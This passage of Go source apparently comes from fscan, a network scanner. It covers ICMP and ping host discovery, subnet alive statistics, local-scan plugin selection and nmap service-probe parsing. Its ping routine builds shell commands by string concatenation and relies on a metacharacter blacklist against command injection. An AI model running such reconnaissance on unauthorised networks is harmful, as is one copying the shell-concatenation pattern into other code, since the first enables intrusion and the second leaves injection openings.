// GetText 获取指定key的当前语言文本
func GetText(key string, args ...interface{}) string {
if texts, ok := i18nMap[key]; ok {
if text, ok := texts[currentLang]; ok {
if len(args) > 0 {
return fmt.Sprintf(text, args...)
}
return text
}
}
return key
}
================================================
FILE: Core/ICMP.go
================================================
package Core
import (
"bytes"
"fmt"
"github.com/shadow1ng/fscan/Common"
"golang.org/x/net/icmp"
"net"
"os/exec"
"runtime"
"strings"
"sync"
"time"
)
var (
AliveHosts []string // 存活主机列表
ExistHosts = make(map[string]struct{}) // 已发现主机记录
livewg sync.WaitGroup // 存活检测等待组
)
// CheckLive 检测主机存活状态
func CheckLive(hostslist []string, Ping bool) []string {
// 创建主机通道
chanHosts := make(chan string, len(hostslist))
// 处理存活主机
go handleAliveHosts(chanHosts, hostslist, Ping)
// 根据Ping参数选择检测方式
if Ping {
// 使用ping方式探测
RunPing(hostslist, chanHosts)
} else {
probeWithICMP(hostslist, chanHosts)
}
// 等待所有检测完成
livewg.Wait()
close(chanHosts)
// 输出存活统计信息
printAliveStats(hostslist)
return AliveHosts
}
// IsContain 检查切片中是否包含指定元素
func IsContain(items []string, item string) bool {
for _, eachItem := range items {
if eachItem == item {
return true
}
}
return false
}
func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
for ip := range chanHosts {
if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) {
ExistHosts[ip] = struct{}{}
AliveHosts = append(AliveHosts, ip)
// 使用Output系统保存存活主机信息
protocol := "ICMP"
if isPing {
protocol = "PING"
}
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.HOST,
Target: ip,
Status: "alive",
Details: map[string]interface{}{
"protocol": protocol,
},
}
Common.SaveResult(result)
// 保留原有的控制台输出
if !Common.Silent {
Common.LogInfo(Common.GetText("target_alive", ip, protocol))
}
}
livewg.Done()
}
}
// probeWithICMP 使用ICMP方式探测
func probeWithICMP(hostslist []string, chanHosts chan string) {
// 尝试监听本地ICMP
conn, err := icmp.ListenPacket("ip4:icmp", "0.0.0.0")
if err == nil {
RunIcmp1(hostslist, conn, chanHosts)
return
}
Common.LogError(Common.GetText("icmp_listen_failed", err))
Common.LogBase(Common.GetText("trying_no_listen_icmp"))
// 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
if err == nil {
defer conn2.Close()
RunIcmp2(hostslist, chanHosts)
return
}
Common.LogBase(Common.GetText("icmp_connect_failed", err))
Common.LogBase(Common.GetText("insufficient_privileges"))
Common.LogBase(Common.GetText("switching_to_ping"))
// 降级使用ping探测
RunPing(hostslist, chanHosts)
}
// printAliveStats 打印存活统计信息
func printAliveStats(hostslist []string) {
// 大规模扫描时输出 /16 网段统计
if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
}
}
// 输出 /24 网段统计
if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ {
Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
}
}
}
// RunIcmp1 使用ICMP批量探测主机存活(监听模式)
func RunIcmp1(hostslist []string, conn *icmp.PacketConn, chanHosts chan string) {
endflag := false
// 启动监听协程
go func() {
for {
if endflag {
return
}
// 接收ICMP响应
msg := make([]byte, 100)
_, sourceIP, _ := conn.ReadFrom(msg)
if sourceIP != nil {
livewg.Add(1)
chanHosts <- sourceIP.String()
}
}
}()
// 发送ICMP请求
for _, host := range hostslist {
dst, _ := net.ResolveIPAddr("ip", host)
IcmpByte := makemsg(host)
conn.WriteTo(IcmpByte, dst)
}
// 等待响应
start := time.Now()
for {
// 所有主机都已响应则退出
if len(AliveHosts) == len(hostslist) {
break
}
// 根据主机数量设置超时时间
since := time.Since(start)
wait := time.Second * 6
if len(hostslist) <= 256 {
wait = time.Second * 3
}
if since > wait {
break
}
}
endflag = true
conn.Close()
}
// RunIcmp2 使用ICMP并发探测主机存活(无监听模式)
func RunIcmp2(hostslist []string, chanHosts chan string) {
// 控制并发数
num := 1000
if len(hostslist) < num {
num = len(hostslist)
}
var wg sync.WaitGroup
limiter := make(chan struct{}, num)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if icmpalive(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
close(limiter)
}
// icmpalive 检测主机ICMP是否存活
func icmpalive(host string) bool {
startTime := time.Now()
// 建立ICMP连接
conn, err := net.DialTimeout("ip4:icmp", host, 6*time.Second)
if err != nil {
return false
}
defer conn.Close()
// 设置超时时间
if err := conn.SetDeadline(startTime.Add(6 * time.Second)); err != nil {
return false
}
// 构造并发送ICMP请求
msg := makemsg(host)
if _, err := conn.Write(msg); err != nil {
return false
}
// 接收ICMP响应
receive := make([]byte, 60)
if _, err := conn.Read(receive); err != nil {
return false
}
return true
}
// RunPing 使用系统Ping命令并发探测主机存活
func RunPing(hostslist []string, chanHosts chan string) {
var wg sync.WaitGroup
// 限制并发数为50
limiter := make(chan struct{}, 50)
// 并发探测
for _, host := range hostslist {
wg.Add(1)
limiter <- struct{}{}
go func(host string) {
defer func() {
<-limiter
wg.Done()
}()
if ExecCommandPing(host) {
livewg.Add(1)
chanHosts <- host
}
}(host)
}
wg.Wait()
}
// ExecCommandPing 执行系统Ping命令检测主机存活
func ExecCommandPing(ip string) bool {
// 过滤黑名单字符
forbiddenChars := []string{";", "&", "|", "`", "$", "\\", "'", "%", "\"", "\n"}
for _, char := range forbiddenChars {
if strings.Contains(ip, char) {
return false
}
}
var command *exec.Cmd
// 根据操作系统选择不同的ping命令
switch runtime.GOOS {
case "windows":
command = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
case "darwin":
command = exec.Command("/bin/bash", "-c", "ping -c 1 -W 1 "+ip+" && echo true || echo false")
default: // linux
command = exec.Command("/bin/bash", "-c", "ping -c 1 -w 1 "+ip+" && echo true || echo false")
}
// 捕获命令输出
var outinfo bytes.Buffer
command.Stdout = &outinfo
// 执行命令
if err := command.Start(); err != nil {
return false
}
if err := command.Wait(); err != nil {
return false
}
// 分析输出结果
output := outinfo.String()
return strings.Contains(output, "true") && strings.Count(output, ip) > 2
}
// makemsg 构造ICMP echo请求消息
func makemsg(host string) []byte {
msg := make([]byte, 40)
// 获取标识符
id0, id1 := genIdentifier(host)
// 设置ICMP头部
msg[0] = 8 // Type: Echo Request
msg[1] = 0 // Code: 0
msg[2] = 0 // Checksum高位(待计算)
msg[3] = 0 // Checksum低位(待计算)
msg[4], msg[5] = id0, id1 // Identifier
msg[6], msg[7] = genSequence(1) // Sequence Number
// 计算校验和
check := checkSum(msg[0:40])
msg[2] = byte(check >> 8) // 设置校验和高位
msg[3] = byte(check & 255) // 设置校验和低位
return msg
}
// checkSum 计算ICMP校验和
func checkSum(msg []byte) uint16 {
sum := 0
length := len(msg)
// 按16位累加
for i := 0; i < length-1; i += 2 {
sum += int(msg[i])*256 + int(msg[i+1])
}
// 处理奇数长度情况
if length%2 == 1 {
sum += int(msg[length-1]) * 256
}
// 将高16位加到低16位
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
// 取反得到校验和
return uint16(^sum)
}
// genSequence 生成ICMP序列号
func genSequence(v int16) (byte, byte) {
ret1 := byte(v >> 8) // 高8位
ret2 := byte(v & 255) // 低8位
return ret1, ret2
}
// genIdentifier 根据主机地址生成标识符
func genIdentifier(host string) (byte, byte) {
return host[0], host[1] // 使用主机地址前两个字节
}
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
if len(arrInit) == 0 {
return
}
// 统计各网段出现次数
segmentCounts := make(map[string]int)
for _, ip := range arrInit {
segments := strings.Split(ip, ".")
if len(segments) != 4 {
continue
}
// 根据flag确定统计B段还是C段
var segment string
if flag {
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
} else {
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
}
segmentCounts[segment]++
}
// 创建副本用于排序
sortMap := make(map[string]int)
for k, v := range segmentCounts {
sortMap[k] = v
}
// 获取TOP N结果
for i := 0; i < length && len(sortMap) > 0; i++ {
maxSegment := ""
maxCount := 0
// 查找当前最大值
for segment, count := range sortMap {
if count > maxCount {
maxCount = count
maxSegment = segment
}
}
// 添加到结果集
arrTop = append(arrTop, maxSegment)
arrLen = append(arrLen, maxCount)
// 从待处理map中删除已处理项
delete(sortMap, maxSegment)
}
return
}
================================================
FILE: Core/LocalScanner.go
================================================
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// LocalScanStrategy 本地扫描策略
type LocalScanStrategy struct{}
// NewLocalScanStrategy 创建新的本地扫描策略
func NewLocalScanStrategy() *LocalScanStrategy {
return &LocalScanStrategy{}
}
// Name 返回策略名称
func (s *LocalScanStrategy) Name() string {
return "本地扫描"
}
// Description 返回策略描述
func (s *LocalScanStrategy) Description() string {
return "收集本地系统信息"
}
// Execute 执行本地扫描策略
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("执行本地信息收集")
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
// 输出插件信息
s.LogPluginInfo()
// 准备目标(本地扫描通常只有一个目标,即本机)
targets := s.PrepareTargets(info)
// 执行扫描任务
ExecuteScanTasks(targets, s, ch, wg)
}
// PrepareTargets 准备本地扫描目标
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
// 本地扫描只使用传入的目标信息,不做额外处理
return []Common.HostInfo{info}
}
// GetPlugins 获取本地扫描插件列表
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了特定插件且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
}
// 验证插件是否存在,不做Local类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
return validPlugins, true
}
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出本地扫描插件信息
func (s *LocalScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下,只显示Local类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("本地模式: 未找到可用的本地插件")
}
}
// IsPluginApplicable 判断插件是否适用于本地扫描
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下,只运行Local类型插件
return plugin.HasType(Common.PluginTypeLocal)
}
================================================
FILE: Core/PluginUtils.go
================================================
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
)
// 插件列表解析和验证
func parsePluginList(pluginStr string) []string {
if pluginStr == "" {
return nil
}
// 按逗号分割并去除每个插件名称两端的空白
plugins := strings.Split(pluginStr, ",")
for i, p := range plugins {
plugins[i] = strings.TrimSpace(p)
}
// 过滤空字符串
var result []string
for _, p := range plugins {
if p != "" {
result = append(result, p)
}
}
return result
}
// 验证扫描插件的有效性
func validateScanPlugins() error {
// 如果未指定扫描模式或使用All模式,则无需验证
if Common.ScanMode == "" || Common.ScanMode == "all" {
return nil
}
// 解析插件列表
plugins := parsePluginList(Common.ScanMode)
if len(plugins) == 0 {
plugins = []string{Common.ScanMode}
}
// 验证每个插件是否有效
var invalidPlugins []string
for _, plugin := range plugins {
if _, exists := Common.PluginManager[plugin]; !exists {
invalidPlugins = append(invalidPlugins, plugin)
}
}
if len(invalidPlugins) > 0 {
return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", "))
}
return nil
}
================================================
FILE: Core/PortFinger.go
================================================
package Core
import (
_ "embed"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"regexp"
"strconv"
"strings"
)
//go:embed nmap-service-probes.txt
var ProbeString string
var v VScan // 改为VScan类型而不是指针
type VScan struct {
Exclude string
AllProbes []Probe
UdpProbes []Probe
Probes []Probe
ProbesMapKName map[string]Probe
}
type Probe struct {
Name string // 探测器名称
Data string // 探测数据
Protocol string // 协议
Ports string // 端口范围
SSLPorts string // SSL端口范围
TotalWaitMS int // 总等待时间
TCPWrappedMS int // TCP包装等待时间
Rarity int // 稀有度
Fallback string // 回退探测器名称
Matchs *[]Match // 匹配规则列表
}
type Match struct {
IsSoft bool // 是否为软匹配
Service string // 服务名称
Pattern string // 匹配模式
VersionInfo string // 版本信息格式
FoundItems []string // 找到的项目
PatternCompiled *regexp.Regexp // 编译后的正则表达式
}
type Directive struct {
DirectiveName string
Flag string
Delimiter string
DirectiveStr string
}
type Extras struct {
VendorProduct string
Version string
Info string
Hostname string
OperatingSystem string
DeviceType string
CPE string
}
func init() {
Common.LogDebug("开始初始化全局变量")
v = VScan{} // 直接初始化VScan结构体
v.Init()
// 获取并检查 NULL 探测器
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
null = &nullProbe
} else {
Common.LogDebug("警告: 未找到NULL探测器")
}
// 获取并检查 GenericLines 探测器
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data)))
common = &commonProbe
} else {
Common.LogDebug("警告: 未找到GenericLines探测器")
}
Common.LogDebug("全局变量初始化完成")
}
// 解析指令语法,返回指令结构
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
Common.LogDebug("开始解析指令语法,输入数据: " + data)
directive = Directive{}
// 查找第一个空格的位置
blankIndex := strings.Index(data, " ")
if blankIndex == -1 {
Common.LogDebug("未找到空格分隔符")
return directive
}
// 解析各个字段
directiveName := data[:blankIndex]
Flag := data[blankIndex+1 : blankIndex+2]
delimiter := data[blankIndex+2 : blankIndex+3]
directiveStr := data[blankIndex+3:]
directive.DirectiveName = directiveName
directive.Flag = Flag
directive.Delimiter = delimiter
directive.DirectiveStr = directiveStr
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
directiveName, Flag, delimiter, directiveStr))
return directive
}
// 解析探测器信息
func (p *Probe) parseProbeInfo(probeStr string) {
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
// 提取协议和其他信息
proto := probeStr[:4]
other := probeStr[4:]
// 验证协议类型
if !(proto == "TCP " || proto == "UDP ") {
errMsg := "探测器协议必须是 TCP 或 UDP"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 验证其他信息不为空
if len(other) == 0 {
errMsg := "nmap-service-probes - 探测器名称无效"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 解析指令
directive := p.getDirectiveSyntax(other)
// 设置探测器属性
p.Name = directive.DirectiveName
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
p.Name, p.Data, p.Protocol))
}
// 从字符串解析探测器信息
func (p *Probe) fromString(data string) error {
Common.LogDebug("开始解析探测器字符串数据")
var err error
// 预处理数据
data = strings.TrimSpace(data)
lines := strings.Split(data, "\n")
if len(lines) == 0 {
return fmt.Errorf("输入数据为空")
}
probeStr := lines[0]
p.parseProbeInfo(probeStr)
// 解析匹配规则和其他配置
var matchs []Match
for _, line := range lines {
Common.LogDebug("处理行: " + line)
switch {
case strings.HasPrefix(line, "match "):
match, err := p.getMatch(line)
if err != nil {
Common.LogDebug("解析match失败: " + err.Error())
continue
}
matchs = append(matchs, match)
case strings.HasPrefix(line, "softmatch "):
softMatch, err := p.getSoftMatch(line)
if err != nil {
Common.LogDebug("解析softmatch失败: " + err.Error())
continue
}
matchs = append(matchs, softMatch)
case strings.HasPrefix(line, "ports "):
p.parsePorts(line)
case strings.HasPrefix(line, "sslports "):
p.parseSSLPorts(line)
case strings.HasPrefix(line, "totalwaitms "):
p.parseTotalWaitMS(line)
case strings.HasPrefix(line, "tcpwrappedms "):
p.parseTCPWrappedMS(line)
case strings.HasPrefix(line, "rarity "):
p.parseRarity(line)
case strings.HasPrefix(line, "fallback "):
p.parseFallback(line)
}
}
p.Matchs = &matchs
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
return err
}
// 解析端口配置
func (p *Probe) parsePorts(data string) {
p.Ports = data[len("ports")+1:]
Common.LogDebug("解析端口: " + p.Ports)
}
// 解析SSL端口配置
func (p *Probe) parseSSLPorts(data string) {
p.SSLPorts = data[len("sslports")+1:]
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
}
// 解析总等待时间
func (p *Probe) parseTotalWaitMS(data string) {
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
if err != nil {
Common.LogDebug("解析总等待时间失败: " + err.Error())
return
}
p.TotalWaitMS = waitMS
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
}
// 解析TCP包装等待时间
func (p *Probe) parseTCPWrappedMS(data string) {
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
if err != nil {
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
return
}
p.TCPWrappedMS = wrappedMS
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
}
// 解析稀有度
func (p *Probe) parseRarity(data string) {
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
if err != nil {
Common.LogDebug("解析稀有度失败: " + err.Error())
return
}
p.Rarity = rarity
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
}
// 解析回退配置
func (p *Probe) parseFallback(data string) {
p.Fallback = data[len("fallback")+1:]
Common.LogDebug("回退配置: " + p.Fallback)
}
// 判断是否为十六进制编码
func isHexCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
return matchRe.Match(b)
}
// 判断是否为八进制编码
func isOctalCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
return matchRe.Match(b)
}
// 判断是否为结构化转义字符
func isStructCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[aftnrv]`)
return matchRe.Match(b)
}
// 判断是否为正则表达式特殊字符
func isReChar(n int64) bool {
reChars := `.*?+{}()^$|\`
for _, char := range reChars {
if n == int64(char) {
return true
}
}
return false
}
// 判断是否为其他转义序列
func isOtherEscapeCode(b []byte) bool {
matchRe := regexp.MustCompile(`\\[^\\]`)
return matchRe.Match(b)
}
// 从内容解析探测器规则
func (v *VScan) parseProbesFromContent(content string) {
Common.LogDebug("开始解析探测器规则文件内容")
var probes []Probe
var lines []string
// 过滤注释和空行
linesTemp := strings.Split(content, "\n")
for _, lineTemp := range linesTemp {
lineTemp = strings.TrimSpace(lineTemp)
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
continue
}
lines = append(lines, lineTemp)
}
// 验证文件内容
if len(lines) == 0 {
errMsg := "读取nmap-service-probes文件失败: 内容为空"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 检查Exclude指令
excludeCount := 0
for _, line := range lines {
if strings.HasPrefix(line, "Exclude ") {
excludeCount++
}
if excludeCount > 1 {
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
}
// 验证第一行格式
firstLine := lines[0]
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
Common.LogDebug("错误: " + errMsg)
panic(errMsg)
}
// 处理Exclude指令
if excludeCount == 1 {
v.Exclude = firstLine[len("Exclude")+1:]
lines = lines[1:]
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
}
// 合并内容并分割探测器
content = "\n" + strings.Join(lines, "\n")
probeParts := strings.Split(content, "\nProbe")[1:]
// 解析每个探测器
for _, probePart := range probeParts {
probe := Probe{}
if err := probe.fromString(probePart); err != nil {
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
continue
}
probes = append(probes, probe)
}
v.AllProbes = probes
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
}
// 将探测器转换为名称映射
func (v *VScan) parseProbesToMapKName() {
Common.LogDebug("开始构建探测器名称映射")
v.ProbesMapKName = map[string]Probe{}
for _, probe := range v.AllProbes {
v.ProbesMapKName[probe.Name] = probe
Common.LogDebug("添加探测器映射: " + probe.Name)
}
}
// 设置使用的探测器
func (v *VScan) SetusedProbes() {
Common.LogDebug("开始设置要使用的探测器")
for _, probe := range v.AllProbes {
if strings.ToLower(probe.Protocol) == "tcp" {
if probe.Name == "SSLSessionReq" {
Common.LogDebug("跳过 SSLSessionReq 探测器")
continue
}
v.Probes = append(v.Probes, probe)
Common.LogDebug("添加TCP探测器: " + probe.Name)
// 特殊处理TLS会话请求
if probe.Name == "TLSSessionReq" {
sslProbe := v.ProbesMapKName["SSLSessionReq"]
v.Probes = append(v.Probes, sslProbe)
Common.LogDebug("为TLSSessionReq添加SSL探测器")
}
} else {
v.UdpProbes = append(v.UdpProbes, probe)
Common.LogDebug("添加UDP探测器: " + probe.Name)
}
}
Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
len(v.Probes), len(v.UdpProbes)))
}
// 解析match指令获取匹配规则
func (p *Probe) getMatch(data string) (match Match, err error) {
Common.LogDebug("开始解析match指令:" + data)
match = Match{}
// 提取match文本并解析指令语法
matchText := data[len("match")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return match, fmt.Errorf("无效的match指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return match, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return match, compileErr
}
// 设置match对象属性
match.Service = directive.DirectiveName
match.Pattern = pattern
match.PatternCompiled = patternCompiled
match.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
match.Service, match.Pattern))
return match, nil
}
// 解析softmatch指令获取软匹配规则
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
Common.LogDebug("开始解析softmatch指令:" + data)
softMatch = Match{IsSoft: true}
// 提取softmatch文本并解析指令语法
matchText := data[len("softmatch")+1:]
directive := p.getDirectiveSyntax(matchText)
// 分割文本获取pattern和版本信息
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
if len(textSplited) == 0 {
return softMatch, fmt.Errorf("无效的softmatch指令格式")
}
pattern := textSplited[0]
versionInfo := strings.Join(textSplited[1:], "")
// 解码并编译正则表达式
patternUnescaped, decodeErr := DecodePattern(pattern)
if decodeErr != nil {
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
return softMatch, decodeErr
}
patternUnescapedStr := string([]rune(string(patternUnescaped)))
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
if compileErr != nil {
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
return softMatch, compileErr
}
// 设置softMatch对象属性
softMatch.Service = directive.DirectiveName
softMatch.Pattern = pattern
softMatch.PatternCompiled = patternCompiled
softMatch.VersionInfo = versionInfo
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
softMatch.Service, softMatch.Pattern))
return softMatch, nil
}
// 解码模式字符串,处理转义序列
func DecodePattern(s string) ([]byte, error) {
Common.LogDebug("开始解码pattern: " + s)
sByteOrigin := []byte(s)
// 处理十六进制、八进制和结构化转义序列
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
var replace []byte
// 处理十六进制转义
if isHexCode(match) {
hexNum := match[2:]
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
if isReChar(byteNum) {
replace = []byte{'\\', uint8(byteNum)}
} else {
replace = []byte{uint8(byteNum)}
}
}
// 处理结构化转义字符
if isStructCode(match) {
structCodeMap := map[int][]byte{
97: []byte{0x07}, // \a 响铃
102: []byte{0x0c}, // \f 换页
116: []byte{0x09}, // \t 制表符
110: []byte{0x0a}, // \n 换行
114: []byte{0x0d}, // \r 回车
118: []byte{0x0b}, // \v 垂直制表符
}
replace = structCodeMap[int(match[1])]
}
// 处理八进制转义
if isOctalCode(match) {
octalNum := match[2:]
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
replace = []byte{uint8(byteNum)}
}
return replace
})
// 处理其他转义序列
matchRe2 := regexp.MustCompile(`\\([^\\])`)
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
if isOtherEscapeCode(match) {
return match
}
return match
})
Common.LogDebug("pattern解码完成")
return sByteDec2, nil
}
// ProbesRarity 用于按稀有度排序的探测器切片
type ProbesRarity []Probe
// Len 返回切片长度,实现 sort.Interface 接口
func (ps ProbesRarity) Len() int {
return len(ps)
}
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
func (ps ProbesRarity) Swap(i, j int) {
ps[i], ps[j] = ps[j], ps[i]
}
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
func (ps ProbesRarity) Less(i, j int) bool {
return ps[i].Rarity < ps[j].Rarity
}
// Target 定义目标结构体
type Target struct {
IP string // 目标IP地址
Port int // 目标端口
Protocol string // 协议类型
}
// ContainsPort 检查指定端口是否在探测器的端口范围内
func (p *Probe) ContainsPort(testPort int) bool {
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
// 检查单个端口
ports := strings.Split(p.Ports, ",")
for _, port := range ports {
port = strings.TrimSpace(port)
cmpPort, err := strconv.Atoi(port)
if err == nil && testPort == cmpPort {
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
return true
}
}
// 检查端口范围
for _, port := range ports {
port = strings.TrimSpace(port)
if strings.Contains(port, "-") {
portRange := strings.Split(port, "-")
if len(portRange) != 2 {
Common.LogDebug("无效的端口范围格式: " + port)
continue
}
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
if err1 != nil || err2 != nil {
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
continue
}
if testPort >= start && testPort <= end {
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
return true
}
}
}
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
return false
}
// MatchPattern 使用正则表达式匹配响应内容
func (m *Match) MatchPattern(response []byte) bool {
// 将响应转换为字符串并进行匹配
responseStr := string([]rune(string(response)))
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
if len(foundItems) > 0 {
m.FoundItems = foundItems
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
return true
}
return false
}
// ParseVersionInfo 解析版本信息并返回额外信息结构
func (m *Match) ParseVersionInfo(response []byte) Extras {
Common.LogDebug("开始解析版本信息")
var extras = Extras{}
// 替换版本信息中的占位符
foundItems := m.FoundItems[1:] // 跳过第一个完整匹配项
versionInfo := m.VersionInfo
for index, value := range foundItems {
dollarName := "$" + strconv.Itoa(index+1)
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
}
Common.LogDebug("替换后的版本信息: " + versionInfo)
// 定义解析函数
parseField := func(field, pattern string) string {
patterns := []string{
pattern + `/([^/]*)/`, // 斜线分隔
pattern + `\|([^|]*)\|`, // 竖线分隔
}
for _, p := range patterns {
if strings.Contains(versionInfo, pattern) {
regex := regexp.MustCompile(p)
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
Common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
return matches[1]
}
}
}
return ""
}
// 解析各个字段
extras.VendorProduct = parseField("厂商产品", " p")
extras.Version = parseField("版本", " v")
extras.Info = parseField("信息", " i")
extras.Hostname = parseField("主机名", " h")
extras.OperatingSystem = parseField("操作系统", " o")
